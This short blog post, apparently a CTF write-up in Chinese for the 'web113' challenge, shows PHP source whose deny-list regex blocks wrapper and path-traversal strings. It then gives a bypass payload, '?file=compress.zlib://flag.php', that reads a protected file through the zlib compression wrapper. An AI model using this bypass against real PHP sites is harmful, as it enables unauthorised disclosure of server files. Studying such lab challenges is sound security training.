web113笔记(+filter过滤)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在上一题基础上过滤了filter,那我们换另一个协议,使用压缩流zlib://
官方php文档地址:https://www.php.net/manual/zh/wrappers.compression.php

换zip、bzip、zlib试试

所以payload为

?file=compress.zlib://flag.php
 
 
posted @ 2025-03-25 16:36  justdoIT*  阅读(9)  评论(0)    收藏  举报